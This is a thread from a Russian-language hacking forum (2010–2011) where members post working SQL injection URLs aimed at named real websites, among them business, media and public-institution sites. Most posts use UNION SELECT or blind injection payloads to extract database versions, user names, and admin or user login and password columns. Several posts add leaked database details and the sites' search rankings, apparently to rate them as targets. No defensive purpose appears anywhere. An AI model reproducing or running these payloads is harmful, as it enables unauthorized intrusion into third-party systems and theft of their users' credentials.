SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. VDobridze

    VDobridze New Member

    Joined:
    30 Mar 2010
    Messages:
    15
    Likes Received:
    2
    Reputations:
    0
    metuchenchamber.com
    PR4
    Code:
    http://www.metuchenchamber.com/news.php?article=yes&id=-123%27%20union%20select%201,2,3,4,5,concat_ws%280x3a,version%28%29,user%28%29,database%28%29%29,7,8,9,10,11%27
     
  2. TYPUCT

    TYPUCT New Member

    Joined:
    7 Sep 2010
    Messages:
    30
    Likes Received:
    3
    Reputations:
    0
    holod_velesagro
    5.1.45
    holod_velesagro@localhost

    Code:
    http://www.velesagro.com/product.php?id=-129+union+select+1,2,3,database(),version(),user(),7,8,9,10,11,12,13,14,15,16,17,18,19,20--
    PR: 2
    ТИЦ: 40
     
  3. vaddd

    vaddd Member

    Joined:
    6 Jan 2009
    Messages:
    140
    Likes Received:
    19
    Reputations:
    9
    http://www.locosystech.com/product.php?id=-1+union+select+1,2,3,4,5,6,group_concat(table_name),8,9,10,11,12,13,14,15,16+from+information_schema.tables+where+table_schema!=0x696e666f726d6174696f6e5f736368656d61

    тИц 10
     
  4. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    Code:
    http://sport-razgrom.ru/view_search.php?submit_s=%C8%F1%EA%E0%F2%FC&search=0')union(select(1),(2),3,4,concat_ws(0x3a,user,pass),6,7,8+from+userlist+limit+0,1)--+1
     
    _________________________
  5. GroM88

    GroM88 Elder - Старейшина

    Joined:
    24 Oct 2007
    Messages:
    464
    Likes Received:
    62
    Reputations:
    26
    pr 2
     
  6. Agel Nash

    Agel Nash New Member

    Joined:
    23 Jul 2009
    Messages:
    12
    Likes Received:
    4
    Reputations:
    5
    Смотреть title страниц
     
    #13966 Agel Nash, 23 Jun 2011
    Last edited: 23 Jun 2011
  7. alerondel

    alerondel Member

    Joined:
    20 Apr 2011
    Messages:
    165
    Likes Received:
    9
    Reputations:
    6
    PageRank 2

    Code:
    http://www.crystalcityrestaurant.com/cmspages.php?id=-1+union+select+1,concat%28FName,0x3e,password%29,3++from+admin--
     
  8. Melfis

    Melfis Elder - Старейшина

    Joined:
    25 Apr 2011
    Messages:
    505
    Likes Received:
    105
    Reputations:
    53
    Code:
    http://www.bobandbarn.com/news/stories.php?id=-42+union+select+1,2,3,version(),5,6,7--+
    http://www.rorkesdriftvc.com/discussion.php?topid=15168&forid=-1)+union+select+version()--+
    http://www.morrisminorspares.net/shop_item.php?ID=-1936+union+select+1,2,3,version(),5,6,7,8,9,0,1,2,3,4--+
    http://www.sport-shoes.ru/viewitem.php?num=(-312)union(select(1),2,version(),4,5,6,7,8,9,(10)from(information_schema.columns)where(table_name)='usersmin')--+
     
  9. vaddd

    vaddd Member

    Joined:
    6 Jan 2009
    Messages:
    140
    Likes Received:
    19
    Reputations:
    9
    http://www.vitecmultimedia.com/productv2.php?id=-1+union+select+1,2,3,4,5,6,version%28%29,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64
     
  10. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    909
    Reputations:
    863
    user5293@localhost:5.0.91-community-log:user5293_xxxdrom

    frs24ru@localhost:frs24ru:5.0.26-log

    maybe_bboy@localhost:5.0.92-community:maybe_bboy
     
    _________________________
    1 person likes this.
  11. mix0x0

    mix0x0 Active Member

    Joined:
    1 Nov 2010
    Messages:
    363
    Likes Received:
    189
    Reputations:
    92
    Агентура.Ru

    слепая
    Code:
    http://www.agentura.ru/dossier/russia/fsb/?id=1307543520+and+%28SELECT+substring%28concat%281,password%29,1,1%29+from+bak_users+limit%200,1%29=1
    тИЦ: 1300
    PR: 5

    Михаил Веллер официальный сайт
    Code:
    http://www.weller.ru/?id=22&cid=-7+union+select+1,pass,3,4,5+from+users+--+
    админка: /users.php
    тИЦ: 450
    PR: 4
     
    #13971 mix0x0, 28 Jun 2011
    Last edited: 28 Jun 2011
    1 person likes this.
  12. SergioRezza

    SergioRezza Member

    Joined:
    9 Jun 2011
    Messages:
    81
    Likes Received:
    7
    Reputations:
    5
    http://www.advancedbiofuelsassociation.com/news.php?id=-72+union+select+1,concat_ws(0x3a,id,username,password,name,email),3,4,5,6,7,8,9,10,11+from+users+where+id=1--

    PR: 4 ТИЦ: 0

    --------------------------------------------------------------------

    http://www.thetech.org/genetics/news.php?id=13%27%20AND%201%3D2%20UNION%20SELECT%201%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%20%23

    PR: 7 ТИЦ: 100
     
    #13972 SergioRezza, 28 Jun 2011
    Last edited: 28 Jun 2011
  13. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    http://www.foroaeronautico.org/PHP/noticias.php?id=-221+union+select+1,2,3,4,version(),6,7,8,9,10--

    Database Version: 5.0.77
    Database name: qgp837
    User name: [email protected]
     
    2 people like this.
  14. Cennarios

    Cennarios Elder - Старейшина

    Joined:
    13 Jul 2008
    Messages:
    378
    Likes Received:
    179
    Reputations:
    108
    Акция - Интернет без Г**НА продолжается

    http://www.euroairport.com/FR/communiques.php?idcommunique=11512+union+select+1,unhex%28hex%28user%28%29%29%29,3,4,5,6,7,8,9,10,11,12,13--+
     
    2 people like this.
  15. groupby

    groupby Elder - Старейшина

    Joined:
    21 Sep 2008
    Messages:
    30
    Likes Received:
    13
    Reputations:
    0
    Code:
    http://www.bikedekho.com/user-review/tvs-jive/dont-purchase_857-2%20AND%201=0%20UNION%20SELECT%20CONCAT%28%27%20%27,%20name,%20%27%20%27,%20pass,%20%27%20%27,%20mail,%20%27%20%27%29%20FROM%20users%20LIMIT%202,1.html
     
    #13975 groupby, 1 Jul 2011
    Last edited by a moderator: 1 Jul 2011
  16. mix0x0

    mix0x0 Active Member

    Joined:
    1 Nov 2010
    Messages:
    363
    Likes Received:
    189
    Reputations:
    92
    компании Микродата
    Code:
    http://www.microdata.odessa.ua/shop1/goods.php?id=[COLOR=Red]-[/COLOR]99[COLOR=Red]+union+select+1,2,user,4,5,6,7,8,9+from+mysql.user--+[/COLOR]
    v: 4
    тИЦ: 100 \ PR: 3
     
  17. kroŧ

    kroŧ Member

    Joined:
    19 May 2010
    Messages:
    129
    Likes Received:
    33
    Reputations:
    8
    Code:
    http://www.cheptelaleikoum.com/membre.php?id=-27+/*!UnIoN*/SeLeCT+1,2,3,4,5,6,concat_ws(0x3a,@@version,user(),database(),@@version_compile_os),8,9,10,11,12,13,14,15,16,17,18,19--+
    4.0.27-max-log:[email protected]: db209534058: pc-linux-gnu

    Code:
    http://www.trip-hop.net/membre.php?id_membre=-1355+union+all+select+1,concat_ws(0x3a,@@version,user(),database(),@@version_compile_os),3,4,5,6,7,8,9,10,11,12,13,14,15
    5.0.90-log:[email protected]:triphop5base: pc-linux-gnu

    Code:
    http://www.promotie.nl/promo.php?cat=-9+UnIoN+all+select+concat_ws(0x3a,@@version,user(),database()),2
    5.0.91-community:deb8417_hps@localhost:deb8417_hps
     
  18. KeyGanger

    KeyGanger New Member

    Joined:
    5 Apr 2011
    Messages:
    4
    Likes Received:
    2
    Reputations:
    0
    Tech Noir (Веб Дизайн)

    Code:
    http://www.tnoir.com/work.php?id=131+limit+0+union+select+1,group_concat(0x3c62723e,concat_ws(0x2e,table_schema,table_name,column_name)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+information_schema.columns+where+column_name+like+0x2570617325
    Яндекс тИЦ:20
    Яндекс.Rank:2
    Google PageRank:2/10
     
  19. KeyGanger

    KeyGanger New Member

    Joined:
    5 Apr 2011
    Messages:
    4
    Likes Received:
    2
    Reputations:
    0
    [Языки программирования — Life-Prog]

    Code:
    http://life-prog.ru/view_linux.php?id=3'+limit+0+union+select+1,group_concat(0x3c62723e,concat_ws(0x207c20,login,password)),3,4+from+users+--+a
    Яндекс тИЦ: 40
    Яндекс Rank: 3/6
    Google PageRank: 3/10
     
  20. KeyGanger

    KeyGanger New Member

    Joined:
    5 Apr 2011
    Messages:
    4
    Likes Received:
    2
    Reputations:
    0
    [ «Свой бизнес» — ведущее российское издание для увлечённых предпринимателей ] Blind SQL injection

    Code:
    http://www.mybiz.ru/page.php?id=2+and+1=1  <-- true
    
    http://www.mybiz.ru/page.php?id=2+and+1=2  <-- false
    
    Яндекс тИЦ: 650
    Google PageRank: 5/10


    Один из сайтов компании gameland входит в пятёрку крупнейших российских издателей журналов, «Страна игр», «Хакер», «Хулиган»
     
    #13980 KeyGanger, 3 Jul 2011
    Last edited: 3 Jul 2011
    2 people like this.
Thread Status:
Not open for further replies.